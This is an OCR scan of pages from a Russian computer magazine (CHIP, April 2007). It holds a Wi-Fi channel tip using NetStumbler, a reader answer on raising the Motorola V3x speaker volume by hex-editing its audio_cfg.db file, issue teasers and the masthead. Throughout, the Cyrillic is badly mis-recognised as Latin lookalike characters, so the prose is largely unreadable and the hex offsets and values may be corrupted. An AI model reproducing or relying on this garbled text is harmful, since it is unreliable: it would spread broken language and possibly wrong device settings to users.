BoenpHHHMaeTen KaK uacTB Barnen cera, 
Meinan nepe^ane HH^opMaiinn. 

fljia Hanana BaM Heobxo^HMO Hanra 
6 ecnpoBOAHBie ceTH b Henocpe^CTBeH- 
hoh 6 jih 30 cth ot Barnett n onpea;ejiHTB 
KaHajiBi, Ha kotopbix ohm pa 6 oTaiOT. 
C^eJiaTB 3 TO MOXCHO C nOMOIIJBK) yTHJIH- 
tbi, nocTaBjineMOH b xoMroiexre c bec- 
npOBOAHBiM a^anrepOM, ycraHOBjieHHOM 
Ha BameM KOMnbiOTepe, hjih c noMombio 
6 ecnjiaTHOH nporpaMMBi, HanpHMep 
NetStumbler. CxauaiiTe ymjiHTy Ha 
caHTe www.netstumbler.com h 3 anycTHTe 
nOHCK — BBI yBH^HTe B OCHOBHOM OKHe 
NetStumbler HcnojiB 3 yeMBie oxpyxcaio- 
mHMH CeTHMH KHHaJIBI. IlepeCTaBBTe CBOK) 
ceTB Ha o^hh H 3 cbo 6 oahbix KaHaJIOB 
(nepeKjiiOHaTejiB b HacTpoiixax poyrepOB 
pacnojiaraeTcn, xa k npaBiuio, b pa 3 flejie 
«Wireless Settings») h nocMOTpHTe, yjiyu- 
mnjiacB jih ee paboTa nocjie 3 Toro. 


11 CoTQBbie Te/iedJQHbi 


YBenNHUBaeivi rpoMKOCTb 3ByKa V3x 

Hedaeno n npuodpeA pacKJiadyuiKy 
Motorola V3x — omom meAefioH Mean e 
odipeM ycmpaueaem, 3a ucKAwnenueM 
moso, nmo y neeo doeoAbno muxuu 3eyx. 
Mae CKa3aAU, nmo omo momho ucnpa- 
eumb nocpedcmeoM nepenpouiueKu ycm- 
poucmea, ho a ne xony pucKoeamb 3apan- 
mueu. Ecmb au dpysou cnocod peuiumb 
omy npodAeuy ? 


Ha caMOM flene b TejiecjiOHax stoh cepHH 
3 a rpOMKOCTB h flpyrae 3 ByxoBbie napa- 
MeTpBi OTBeuaeT cjiaHji audiocfg.db, 
COXpaHeHHBIH B naMHTH yCTpOHCTBa. 
CooTBeTCTBeHHO, Bama 3 a#aua cbo^htb- 
CH K TOMy, HTObbI HaHTH 3 T 0 T (J)aHJI, CKO- 
nHpoBaTB ero Ha xoMnbiOTep, OTpe^ax- 
THpOBaTb HeobxoflHMbie napaMeTpbi h 
B epHyrb Ha MecTO. 

K coxajieHHK), ocjmijHajiBHO nocTaBjin- 
eMBiii Habop yTHjiHT Motorola Phone 
Tools He no 3 BOJweT paboTaTB c cncTeM- 
hbimh (J)aHjiaMH, nooTOMy BaM noHaflo- 
bHTcn nporpaMMa P2k Commander hjih 
yTHjiHTa LeaderGL FlexEditor — oba 
npHjioxeHHH ecTB Ha HameM ^ncxe. C hx 
noMombio CKonupyiiTe (Jianji audio_cfg. 
db Ha xecTKHH ruck KOMnbiOTepa h 
OTK pOHTe ero b jnoboM HEX-pe^axTOpe. 
fljin noBbimeHHH rpOMxocTH Ha Tejiecjio- 
He Motorola V3x BaM HyxcHO byaeT H 3 Me- 

HHTB HeCXOJIbXO 3 HaueHHH: 


■ 3bohxh: offset, cjieBa 180 CBepxy D 
(Default 01, MaxcnMyM — 06); 

■ KHonxn: offset, cjieBa 190 CBepxy 9 
(Default 01, MaxcnMyM — 06); 

■ /jHHaMHx: offset, cjieBa lbO CBepxy 1 
(Default 01, MaxcnMyM — 06); 

■ MP3/BH#eo: offset, cjieBa 370 CBepxy 9 
(Default 01, MaxcnMyM — 06). 

Mbi pexoMenayeM He BbicTaBjiHTb 3 Ha- 
neHHH bojixme 6 , nocxojibxy b npOTHB- 
hom cjiynae ^HHaMHx TejiecjiOHa npocTO 
MOXCeT BBIHTH H 3 CTpOH. 

nocjie BHeCeHHH H 3 MeHeHHH COXpaHH- 
Te obHOBjieHHbiH BapnaHT cjianjia h cxo- 
nnpyHTe ero obpaTHO Ha TejiecjiOH. 
Tenepu bbi MOxeTe npoBepHTB, Hacxojib- 
xo yBejiHHHjiacb rpOMxocTb ^HHaMHxa. 
noMHHTe, hto nepe# BBinojiHeHneM 3 toh 
onepaiiHH HeobxoAHMO c^ejiaTb pe 3 epB- 
Hyio xomno (Jianjia audio cfg.db Ha cjiy- 
uaii B 03 HHXHOBeHHH cboeB b paboTe 
coTOBoro Tejie(J)OHa. am? 
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JKOHOMMM C nOMOIMblO 
MHTepHeT-Te/iec|30HMM 

Pa3roBop no Mo6n/ibHOMy Te/iec|)OHy b poyMim 


re — yflOBO/ibCTBMe HefleweBoe. OflHaKO c no- 
MOLMblO MHTepHeT-Te/iec|)OHMM MO)KHO 
cymecTBeHHo c3KOHOMMTb Ha neperoBopax 


063 op oecnpoBOflHbix 
HayuiHHKOB ao $200 


B Mara3i/max Bee name mo>kho BcrpeTMTb 6ec- 
npoBOAHbie HayiuHMKM. 3anacTyK) npon3BOfln- 
TeJlM n03MAM0HMpyi0T MX 3BynaHMe KaK BblCOKO- 
KanecTBeHHoe. Mbi npoBepM/iM, Tan m 3to, a 
TaK>Ke BbmcHM/m, neM omMHaiOTC5i flpyr ot Apy- 
ra HeKOTopbie moag/im 


chip Download/DVD b MaiiCKOM HOMepe: 


freeXPie 


Multiset 


AAbTepHaTiiBa 

Vista 


riepcneKTMBa nepexoAa Ha AoporocToamyK) m 
pecypcoeMKyio Windows Vista Bbi3Ba/ia HOByio 
BO/iHy MHTepeca opraHM3auMM m no/ib30Baie/ieM 
k cbo6oaho pacnpocrpaHfleMbiM onepauMOHHbiM 
CMdeMaM. KaKOM AMcrpM6yTMB Linux Bbi6paTb, 
KaK peiiJMTb TMnMHHbie npo6/ieMbi m HacipoMTb 
CMdeMy — HMTaMTe b TeMe HOMepa 


flBa b oahom: MP3 
B BameM M06l4/lbH0M 

KaK TOJibKO cfiopMaT MP3 Ao6pajicfl ao coTOBbix 
Te/iec|30H0B, My/ibTMMeAMMHbie MOAe/in cia/iM ca- 
MbiMM nony/mpHbiMM Ha pbiHKe. Mbi npoiecTMpo- 
Ba/iM HOBbie Te/iec|DOHbi-njieepbi cpeAHen m Bbic- 
uien ueHOBbix KaieropMM m onpeAe/iM/iM jiynwee 
M06MJlbH0e yCTpOMCTBO 


CneuMa^bHbm 3arpy30HHbm amck, koto- CnepMa/ibHafl BepcMfl nporpaMMbi 

pbIM MO>KeT nOMOHb BOCCTaHOBMTb pa6o- AJlfl 6blCTpOM yCTaHOBKM OnepaAMOHHOM 
T 0 Cn 0 C 06 H 0 CTb n K CMCTeMbl 


HtmIReader 

llpocTOM m 6ecn/iaTHbm HTML-peAaKTop 
C B03M0>KH0CTbK) BM3ya/ibHoro peAaKTM- 
pOBaHMfl 


Agnitum Spam Terrier 

HaAoe/io 6opoTbai co cnaMOM? 
l1onpo6yMTe cfiM^bipoBaib noniy npn 
noMOLAM Spam Terrier 



CHIR 

mypHan MHtpopMaAnoHHbix TexHO/iormi 

ISSN 1609-4212 

BbixoAMT 12 pa3 b TOA 1 4'2007 (97) 


rnaBHbm peflaKTop 

AHflpeM KoKoypoB, a.kokourov@burda.ru 

3aMecTi4Te/ib niaBHoro peflaKTopa 

Ahtoh MoKpepoB, a.mokretsov@burda.ru 

BbinycKaioiMMM peflaKTop 

EBreHun /lo6aneBa, e.Lobatcheva@burda.ru 

PeAaKTopbi 

fleHuc Muxaii/ioB, d.mikhayLov@burda.ru 
Ammtpmm LUy/ibruH, d.shuLgin@burda.ru 
riaBe/i LUoujmh, p.shoshin@burda.ru 
Cepreu CacjooHOB, s.safonov@burda.ru 
MaKCUM AMe/iMH, m.ameLin@burda.ru 

JlMTepaTypHbiM pe^axTop 

7lK)6oBb riaHKpaTOBa, L.pankratova@burda.ru 

ApT-flHpeKTop 

AHApeu BapaHOB, a.baranov@burda.ru 

Ax3axH 

Cepreu Ky3HepoB, se.kuznetsov@burda.ru 
1/lHHa A6paM0Ba, i.abramova@burda.ru 

M3AaTe/ib 

fleHuc CeflnKMH, d.sedyakin@burda.ru 

PR-MeHeA>Kep 

AHacracufl riaHMHa, a.panina@burda.ru 

OTAe/i pex/iaMbi (495)787 33 91 

flpoc/iaB HepHAKOB, y.chernyakov@burda.ru 
Brinec/iaB MaTBeeB, v.matveev@burda.ru 
Haia/iba rio/ieBa, n.poLeva@burda.ru 

OTAe/i pacnpocTpaHeHMB (495)797 45 60 

vertrieb@burda.ru 

ynpewAeHO m M3AaeTcn 3A0 «l/l3Aaie;ibCKMM aom «BypAa» 
AApec M3AaTe/m: Poccun, 127018, MocKBa, 
yji. rio^KOBan, a- 3, cip. 4 
AApec peAaKpMu: Poccun, 127018, MocKBa, y n. noMOBan, a. 3, 
cip. 4 TejiectDOH: (495) 787 33 88, cpaxc: (495) 787 94 31 
>KypHa;i 3aperucTpupoBaH b <DeAepa;ibHOM c;iy>K6e no HaA3opy 
3 a co6^K)AeHueM 3aK0H0Aaie;ibCTBa b ccfiepe KOMMyHMKapuM 
u oxpaHbi Ky/ibTypHoro Hac/ieAua. CBMAeie/ibCTBO 
0 perucTpapuu n I/I l\M)C77-25010 ot 07 mo/m 2006r. 

3a coflepwaHne peK/iaMHoro o 6 -bflB/ieHMfl OTBeTCTBeH HOdb HeceT pemia- 
MOflaie^b. 3a opnrnHa/ibHocTb m coflepwaHne ciaibn OTBeTCTBeHHocTb 
HeceT aBTop. PyKonncn peflaKUHen He B03BpamaiOTCfi. B c/iyHae npweMa 
pyKomicn k ny 6 ^MKaunn peflaiujHfl ciaBHT 06 3tom aBTopa b M3BecTH0CTb. 
ripn 3 tom H3flaie^b no/iyHaeT 3KCK/no3MBHoe npaBO Ha pacnpocrpaHeHMe 
npMHfiToro npon3BefleHH5i Hepe3 wypHa/i BK/uoHafl B03M0>KH0CTb ero 
ny 6 ^MKaunn Ha WWW-cipaHimax wypHa/ia, CD wm HHbiM o6pa30M b 3 /ie- 
KTpOHHOM CpOpMe. ABTOpCKHM TOHOpap Bbin^aHMBaeTCfl pa30B0 B TeneHMe 
nfiTH Hefle^b noc^e nepBOM ny 6 ^HKaunn h b pa3Mepe, onpefle^aeMOM 
BHyTpeHHMM CnpaBOHHMKOM TapHCjDOB. B flaHHblH TOHOpap BXOAHT M B03- 
HarpaiKAeHHe 3a B03MO>KHyio ny 6 ^MKaAmo npon3BeAeHMfi b 3/ieKTpoHHOM 
(fiopMe. no HCTeHeHMM oahoto roAa c MOMeHTa nepBOM ny 6 ^HKaAMH aBTop 
HMeeT npaBO ony 6 nnKOBaib CBoe npon3BeAeHne b ApyroM Mecie 6e3 
npeABapmenbHoro nHCbMeHHoro cornacMa M3Aaienfl. Bee npaBa Ha ony 6 - 
nMKOBaHHbie Maiepnanbi 3amntneHbi. nepenenaTKa, ncnonb30BaHne v\m 
nepeBOA Ha ApyroM A3biK, a TaK>Ke HHoe ncno/ib30BaHne npon 3 BeAeHHM, 
paBHO KaK HX BK/lK)HeHHe B COCTaB Apyroro npOM3BeAeHHfl (c 6 opHMK, KaK 
Hadb Apyroro npon3BeAeHMfi, ncno/ib30BaHne b KaKOM-nn 6 o cpopMe b 3/ie- 
KTpoHHOM ny 6 nnKaAHn) 6e3 comacHfi M3Aaienfi 3anpeiAeHbi. 

Advertising International VogeL Burda Communication, 
Poccistr.il, D-80336 Munchen: Erik N.Wicha (ewicha@vogeL. 
de) Phone. (+49 89)74642 326, Fax (+49 89)74642 217 More 
information about the publishing house and its products is also 
available on www.vogeL-media.com 
>KypHa/i CHIP b Poccmm BbinycKaeicn no/iMpeH3MM HeMepKoro 
M3AaieAn Vogel Burda Communication, MioHxeH, TepMaHun 

YBa>KaeMbiM MmaieAb, 
npeA/iaraeM Baw oc|)opMMTb noflnucKy! 

Te/iec|DOH «Bypfla flMpeKT» (495) 916-57-06, 
cjDaxc (495) 916-57-27, e-mail: abo@burdadirect.ru 
floflnMCHOM MHfleKC 44077 b xaiaAore 
«ripecca Poccmm» n xaiaAore «PocneHaTb» 
noflnMCHOM MHfleKC 99006 b KaiaAore «l1oHTa Poccmm» 
Aflpec b 1/lHTepHeie: http://www.burdadirect.ru 

Tnnorpa(j)Mfl: Moraviapress, a.s. U Pony 3061, 690 02 BrecLav, 
Tel: +420-516 205 108 Fax: +420-516 205 225 

Tnpa>K: 100 500 3K3. 

flaia BbixoAa b CBen 24.03.2007 

UeHa CBo6oAHaB 


Hubert 

Burda 

Media 


mm 



CHIP I AnPEJlb 2007 





